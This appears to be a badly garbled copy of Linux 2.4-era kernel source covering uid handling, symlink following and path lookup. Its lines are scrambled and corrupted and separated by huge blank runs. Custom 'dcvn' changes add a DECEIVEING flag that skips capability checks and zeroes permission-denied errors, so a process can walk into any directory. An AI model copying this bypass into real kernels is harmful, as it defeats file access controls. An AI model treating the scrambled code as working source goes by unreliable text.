                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (!new)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        new = kmem_cache_alloc(uid_cachep, SLAB_KERNEL);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          // on adding the same user already..
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // Before adding this, check whether we
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                !current->keep_capabilities)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (current->uid != 0 && current->euid != 0 && current->suid != 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 uid_hash_insert(new, hashent);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     up = new;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          kmem_cache_free(uid_cachep, new);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int old_suid)
                                                                                                                                                                                                                                                                                           = current->cap_permitted;
  -DaveM
                                SO
                                                         We can check this now
                                                                                                                                                                                                                                                                                                                                                                                                                9
                                if it matters
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        raced
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     !!
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     gr
gr
```

```
static inline int __follow_down(struct vfsmount **mmt, struct dentry
                                                                                                                                                                                                                                                                                                                                                                                                                                           static inline int do_follow_link(struct dentry *dentry, struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       **dentry)
                                                                                                                                                                                                                                                                                                                                                                                                                        nameidata *nd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 old_user = current->user;
atomic_dec(&old_user->processes);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       current->uid = new_ruid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        atomic_inc(&new_user->processes);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      new_user = alloc_uid(new_ruid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  current->user = new_user;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   spin_lock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          struct vfsmount *mounted;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if(dumpclear)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (!new_user)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              free_uid(old_user);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (mounted)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 mounted = lookup_mnt(*mnt,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            spin_unlock(&dcache_lock);
                                                                                                                                                                                                                                                                                                           if (current->total_link_count
                                                                                                                                                                                                                                                                                                                                                      if (current->link_count >=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          return 0;
                                                                                                       err = dentry->d_inode->i_op->follow_link(dentry, nd);
                                                                                                                            UPDATE_ATIME(dentry->d_inode);
                                                                                                                                                  current->total_link_count++;
                                                                                                                                                                                                                                                                                                                                                                               int err;
return -ELOOP;
                                                                                     current->link_count--;
                                                                                                                                                                           current->link_count++;
                     path_release(nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         current->mm->dumpable =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return -EAGAIN;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 spin_unlock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   mntput(mounted->mnt_parent);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              dput(*dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return 1;
                                                                                                                                                                                                                                         current->state = TASK_RUNNING;
                                                                                                                                                                                                                                                           (current->need_resched) {
                                                                                                                                                                                                                                                                                       goto loop;
                                                                                                                                                                                                                                                                                                                                  goto loop;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             *dentry = dget(mounted->mmt_root);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       'mnt = mntget(mounted);
                                                                                                                                                                                                                       schedule();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         *dentry);
                                                                                                                                                                                                                                                                                                                                                             5
                                                                                                                                                                                                                                                                                                                      Y
                                                                                                                                                                                                                                                                                                                      40)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             static inline void follow_dotdot(struct nameidata *nd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                             static struct dentry * real_lookup(struct dentry * parent, struct qstr
                                                                                                                                                                                                                                                                                                                                                                                                                  flags)
                                                                                                                                                                                                                                                                                                                                                                                                                                           * name,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        while(1) {
                                                                                                                                                                                                                                                                                                                                                                      struct dentry * result;
                                                                                                                                                                                                                                                                                                                                                struct inode *dir = parent->d_inode;
                                                                                                                                                                                                                                                                                                                                down(&dir->i_sem);
                                                                                                                                                                                                              result = d_lookup(parent, name);
                                                                                                                                                                                            if (!result) {
                                                                                                                                                                                                                                                           * First re-do the cached lookup just in case it was created * while we waited for the directory semaphore..
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct vfsmount *parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          struct dentry *dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    spin_lock(&dcache_lock);
if (nd->dentry != nd->mn')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  read_lock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                read_unlock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if (nd->dentry == current->fs->root
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      spin_unlock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            dentry=dget(nd->mnt->mnt_mountpoint);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 mntget (parent);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            parent=nd->mnt->mnt_parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 dput (nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (parent == nd->mnt)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        mntput(nd->mnt);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             nd->dentry = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   nd->mnt = parent;
                                                                                                                                                                     struct dentry * dentry = d_alloc(parent, name);
                                                                                                                              if (dentry)
                                                                                                                                                  result = ERR_PTR(-ENOMEM);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (nd->dentry != nd->mnt->mnt_root) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                read_unlock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         spin_unlock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     dput (nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              dentry = dget(nd->dentry->d_parent);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 spin_unlock(&dcache_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                nd->dentry = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           nd->mnt == current->fs->rootmnt)
                                                                                result = dir->i_op->lookup(dir, dentry);
                                         if (result)
                                                              unlock_kernel();
                                                                                                         lock_kernel();
                 dput (dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        č.
```

```
if(!DECEIVEING){    //dcvn -- don't bother checking capabilities when
                                                                                                                                                                                             deceiveing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int my_vfs_permission(struct inode * inode,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    !d_invalidate(result)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   others"
                                                 if ((mask & (MAY_READ|MAY_WRITE)) || (inode->i_mode & S_IXUGO)
                                                                                                                                                                                                                                                                                                                                                                                                                            else if (in_group_p(inode->i_gid))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (mask & MAY_WRITE) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           up(&dir->i_sem);
if (result->d_op && result->d_op->d_revalidate) {
                                                                                                                                                                                                                                                                    if (((mode & mask & (MAY_READ|MAY_WRITE|MAY_EXEC)) == mask))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (current->fsuid == inode->i_uid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             umode_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return result;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  * Unhuh! Nasty case: the cache was re-populated while * we waited on the semaphore. Need to revalidate.
                                                                                                                                      Read/write DACs
                                                                                                                                                                                                                                                                                                                         If the DACs are ok we don't need any capability check
                                                                                                                 Executable DACs
                                   if (capable (CAP_DAC_OVERRIDE)
                                                                                                                                                                                                                                                                                                                                                                                                                                                               mode >>= 6;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (IS_IMMUTABLE(inode))
                                                                                                                                                                                                                                                 return 0;
                                                                                                                                                                                                                                                                                                                                                                                                            mode >>=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (IS_RDONLY(inode) &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (!result->d_op->d_revalidate(result, flags) &&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return result;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        up(&dir->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              * Nobody gets write access to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          * Nobody gets write access to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return -EACCES;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return -EROFS;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  result = ERR_PTR(-ENOENT);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               dput(result);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (S_ISREG(mode) | S_ISDIR(mode) | S_ISLNK(mode)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       result = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             mode = inode->i_mode;
                                                                                                             are
                                                                                                                                        are
                                                                                                             overridable if at least one
                                                                                                                                    always overridable.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  a read-only
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          an immutable file.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                int mask)
                                                                                                               exec
                                                                                                               bit is
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        0f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   // if(current->pid!=1)
// printk(", %d", temp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   // for(j=0;j<10;j++)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 // printk("\nbefore:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     // int * i;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              MAY_WRITE())
                                                                                                                                                                                                                                                                                                                                                                         int my_link_path_walk(const char * name, struct nameidata *nd)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                %s",temp,(int)i,s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],s[9],curr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* if(current->pid!=1){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // printk("\nafter: %x",(int)i);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // asm ("movl %%esp,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     int my_permission(struct inode * inode,int mask)
                                                                                                                                                                                                                    '/printk("*");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (mask == MAY_READ || (S_ISDIR(inode->i_mode) && !(mask
                                                                                                                                                                                                                                       unsigned int lookup_flags = nd->flags;
                                                                                                                                                                                                                                                                                                                                                                                                                                return temp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  int temp;
                                                                                                                                  if (!*name)
                                                                                                                                                                                         while (*name=='/')
                                                                                                                                                                                                                                                                                                                         struct dentry *dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               //i=i-1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         return -EACCES;
/* At this point we know we have a real path component.
                                                         if (current->link_count)
                                                                                inode = nd<sup>2</sup>>dentry->d_inode;
                                                                                                                                                                                                                                                                                                struct inode *inode;
                                                                                                                                                                                                                                                                      int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         temp = my_vfs_permission(inode, mask);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          * Searching includes executable on directories, else just read
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (inode->i_op && inode->i_op->permission) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            s[j]=i[j];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (capable(CAP_DAC_READ_SEARCH))
                                                                                                                                                                name++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              retval = inode->i_op->permission(inode, mask);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      printk("\n-- %x",inode->i_op);
                              lookup_flags = LOOKUP_FOLLOW;
                                                                                                         goto return_base;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         lock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if(inode->i_op)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   printk(" %x", inode->i_op->permission);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              %0;": "=r"(i));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     %x", (int)i);
```

```
for(;;) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      do
(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      unsigned long hash;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             err = permission(inode, MAY_EXEC);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  while (*++name == '/');
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 c = *(const unsigned char *)name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            printk("\n-- %s",name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (DECEIVEING)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     dentry = ERR_PTR(err);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (err==-EACCES&&DECEIVEING)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       unsigned int c;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  struct qstr this;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if (!*name)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (!c)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          hash = init_name_hash();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           this.name = name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (err)
                                              if (nd->dentry->d_op && nd->dentry->d_op->d_hash) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (this.name[0] == '.') switch (this.len) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    this.hash = end_name_hash(hash);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           this.len = name - (const char *) this.name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /* this is probably the most crucial point in order
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /* remove trailing slashes? */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  * parent relationships.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     * to be able to know about the current root directory and
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   while (c && (c != '/'));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "." and ".." are special - ".." especially so because it has
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   without getting permission denied
                                                                                                                     See if the low-level filesystem might want
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               goto last_with_slashes;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c = *(const unsigned char *)name;
                                                                                               to use its own hash..
                                                                                                                                                                                                                                                                                                                                                                         case 2:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          goto last_component;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   hash = partial_name_hash(c, hash);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             name++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               err=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              to be able to move around through
                                                                                                                                                                                                                      case 1:
                                                                                                                                                                                                                                                                                                                                                                                                                       default:
                     err = nd->dentry->d_op->d_hash(nd->dentry, &this);
if (err < 0)
                                                                                                                                                                                                                                                                     follow_dotdot(nd);
inode = nd->dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                               if (this.name[1] != '.')
                                                                                                                                                                                                                                                                                                                                                                                                  break;
                                                                                                                                                                                               continue;
                                                                                                                                                                                                                                                /* fallthrough */
                                                                                                                                                                                                                                                                                                                          break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               //dcvn
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       errors
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             any directory,
                                                                                                                                                                                                                                                                                              last_component:
                                                                                                                                                                                                                                                                                                                                             last_with_slashes:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  while (d_mountpoint(dentry) && __follow_down(&nd->mnt, &dentry))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (!dentry) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     dentry = cached_lookup(nd->dentry, &this, LOOKUP_CONTINUE);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     err = -ENOTDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         inode = dentry->d_inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     err = -ENOENT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if (inode->i_op->follow_link) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (!inode->i_op)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (!inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           /* Check mountpoints.. */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /* This does the actual lookups.. */
                                                                                                                                                                                                                                                                     if (lookup_flags & LOOKUP_PARENT
                                                                                                                                                                                                                                                                                                                      lookup_flags |= LOOKUP_FOLLOW | LOOKUP_DIRECTORY;
                                                                                                                                                                                                                                                                                                                                                                                              continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (!inode->i_op->lookup)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          err = -ENOTDIR;
                                                                                                                                                                                                                        if (this.name[0] == '.') switch (this.len) {
                                                                                                                                                                                                                                                                                                                                                                       /* here ends the main loop */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      dentry = real_lookup(nd->dentry, &this, LOOKUP_CONTINUE);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            goto out_dput;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              err = PTR_ERR(dentry);
                                                                                                                                                case 2:
                                                                                                                                                                                                                                                                                                                                                                                                                         break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       nd->dentry = dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               dput (nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (!inode->i_op)
